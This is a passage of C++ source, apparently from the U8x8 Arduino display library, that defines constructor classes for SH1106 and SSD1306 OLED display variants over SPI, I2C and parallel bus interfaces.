{\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_8080 : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_SW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_6800 : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_8080 : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_64X48_ER_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X48_ER_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_6800 : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_8080 : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_48X64_WINSTAR_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_48X64_WINSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_6800 : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_8080 : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_6800 : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_8080 : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_64X32_NONAME_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X32_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_64X32_1F_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_64X32_1F_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_6800 : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_8080 : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_96X16_ER_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X16_ER_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass 